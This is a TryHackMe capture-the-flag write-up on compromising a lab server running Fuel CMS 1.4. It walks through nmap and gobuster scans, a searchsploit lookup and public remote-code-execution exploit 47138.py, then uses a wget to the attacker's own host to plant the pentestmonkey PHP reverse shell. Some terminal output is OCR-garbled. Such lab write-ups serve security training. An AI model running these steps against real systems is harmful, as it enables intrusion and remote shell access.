Vulnerability Capstone



Statred off with an NMAP Scan

```
(kali@ kali)-[~/Desktop/TryHackMe/Vulnerability_Capstone]
$ nmap -p- -Pn -vv -T4 -n 10.10.30.246
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-23 08:07 EDT
Initiating Connect Scan at 08:07
Scanning 10.10.30.246 [65535 ports]
Discovered open port 22/tcp on 10.10.30.246
Discovered open port 80/tcp on 10.10.30.246
```

-p- for all ports, -Pn do not ping, -vv very verbose, -T4 faster timing (1 about default), -n no DNS name resolution

Since port 80 was up we ran a GoBuster scan

```
kali@kali:~/Desktop/(kali: \times kali) - [\times kali) - [\ti
```

```
(Status: 403)
 .bashrc
                                      [Size: 277]
                       (Status: 400)
/!images
                                      [Size: 1134]
/!_archives
                       (Status: 400)
                                      [Size: 1134]
                       (Status: 400)
                                      [Size: 1134]
/!_images
/!backup
                       (Status: 400)
                                      [Size: 1134]
/!res
                       (Status: 400)
                                      [Size: 1134]
                       (Status: 400)
                                      [Size: 1134]
/.bash_history
                       (Status: 403)
                                      [Size: 277]
                       (Status: 403)
                                      [Size: 277]
/.cvsignore
                       (Status: 403)
/.cvs
                                      [Size: 277]
/!textove_diskuse
                       (Status: 400)
                                      [Size: 1134]
/!ut
                       (Status: 400)
                                      [Size: 1134]
                                      [Size: 277]
                       (Status: 403)
/.htaccess
                       (Status: 403)
                                      [Size: 277]
/.forward
/.profile
                       (Status: 403)
                                      [Size: 277]
                       (Status: 403)
                                      [Size: 277]
/.perf
/.history
                       (Status: 403)
                                      [Size: 277]
                       (Status: 403)
/.htpasswd
                                      [Size: 277]
                       (Status: 403)
/.listing
                                      [Size: 277]
/.subversion
                       (Status: 403)
                                      [Size: 277]
/.svn
                       (Status: 403)
                                      [Size: 277]
                       (Status: 403)
                                      [Size: 277]
/.web
/0
                       (Status: 200)
                                      [Size: 16463]
                       (Status: 403)
/.passwd
                                      [Size: 277]
                       (Status: 403)
/.rhosts
                                      [Size: 277]
/.ssh
                       (Status: 403)
                                      [Size: 277]
                       (Status: 400)
/a
                                      [Size: 1134]
                       (Status: 400)
                                      [Size: 1134]
                       (Status: 400)
                                      [Size: 1134]
/asdfjkl;
                       (Status: 400) [Size: 1134]
                       (Status: 301) [Size: 313] [--> http://10.10.30.246/assets/]
/assets
```

Going to the webpage we are greet by Fuel CMS



Welcome to Fuel CMS

Version 1.4



Getting Started



Change the Apache .htaccess file

Change the Apache .htaccess found at the root of FUEL CMS's installation folder to the proper RewriteBase directory. The default is your web server's root directory (e.g */*), but if you have FUEL CMS installed in a sub folder, you will need to add the path to line 5. If you are using the folder it was zipped up in from GitHub, it would be **RewriteBase /FUEL-CMS-master/**.

In some server environments, you may need to add a "?" after index.php in the .htaccess like so: RewriteRule .* index.php?/\$0 [L]

NOTE: This is the only step needed if you want to use FUEL without the CMS

Next thing I treid was a searchsploit for Fuel CMS

```
(kali® kali)-[~/Desktop/TryHackMe/Vulnerability_Capstone]
$ searchsploit fuel

Exploit Title

AMD Fuel Service - 'Fuel.service' Unquote Service | windows/local/49535.txt |
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple | hardware/webapps/31180.txt |
fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py |
Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb |
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticate | php/webapps/48741.txt |
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection ( php/webapps/48778.txt |
Shellcodes: No Results | Papers: No Results
```

I started off with using 47138.py and the CVE is inside that file

Looking at this exploit we need to change some things, because we do not have a proxy running and we need to change the IP and Port

Notice I have chaged the IP, and I have also commented out the proxy

```
(kali@ kali)-[~/Desktop/TryHackMe/Vulnerability_Capstone]
$\frac{\python 47138.py}{\python 47138.py}$, python \frac{47138.py}{\python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.

cmd:ls -la
```

```
</div>total 56
                                            3 06:59
drwxr-xr-x 4 www-data www-data
                                 4096 Sep
                                 4096 Sep
                                           3 06:55
drwxr-xr-x 3 root
                       root
                                            3 06:55 .gitignore
-rwxr-xr-x 1 www-data www-data
                                   39 Sep
-rwxr-xr-x 1 www-data www-data
                                  718 Sep
                                            3 06:55
                                                   .htaccess
-rwxr-xr-x 1 www-data www-data
                                 1427 Sep
                                            3 06:55 README.md
                                 4096 Sep
                                            3 06:55 assets
drwxr-xr-x 9 www-data www-data
                                            3 06:55 composer.json
-rwxr-xr-x 1 www-data www-data
                                  193 Sep
                                 6502 Sep
                                            3 06:55 contributing.md
-rwxr-xr-x 1 www-data www-data
                                 4096 Sep
                                            3 06:55 fuel
drwxr-xr-x 9 www-data www-data
                                            3 06:55 index.php
-rwxr-xr-x 1 www-data www-data 11802 Sep
                                   30 Sep
                                            3 06:55 robots.txt
rwxr-xr-x 1 www-data www-data
```

From here we can start to look through the file system

```
</div>
cmd:ls -la /home
system
<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">
```

```
</div>total 12
drwxr-xr-x  3 root  root  4096 Sep  3 06:41 .
drwxr-xr-x  19 root  root  4096 Sep  23 12:06 ..
drwxr-xr-x  5 ubuntu ubuntu 4096 Sep  3 08:58 ubuntu
```

Now that we have figured out that we can use that we can either stick with this or move over to metasploit

Lets stick with this for a little longer

Utilizing Pentest Monkey Reverse Shell Script which can be found here

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

We are able to upload a reverse shell on the server

```
kali@kali: ~/Desktop/TryHackMe/Vulnerability_Capstone 85x14

(kali@kali)-[~/Desktop/TryHackMe/Vulnerability_Capstone]

$ cp ~/PentestMonkey/php-reverse-shell/php-reverse-shell.php .

(kali@kali)-[~/Desktop/TryHackMe/Vulnerability_Capstone]

$ mv php-reverse-shell.php shell.php
```

Moving over to CMS we did the following

```
</div>
</div>
cmd:wget http://10.9.8.166:8888/shell.php
system
<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">
<h4>A PHP Error was encountered</h4>
```

Make sure you have your listening shell before you go to the site

```
    ← TryHackMe | Vulnerability ×
    ← → X û
    Q 10.10.30.246/shell.php
```

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ■
```

We have now figured out we can get the flag through the CMS exploit We can get the flag through an upload to a reverse shell

When trying to find it in metasploit I soon found out that there is not a module for this exploit. The other file was just written in Ruby

Hopefully this writeup helps you help, best of luck and remember the ABC's of hacking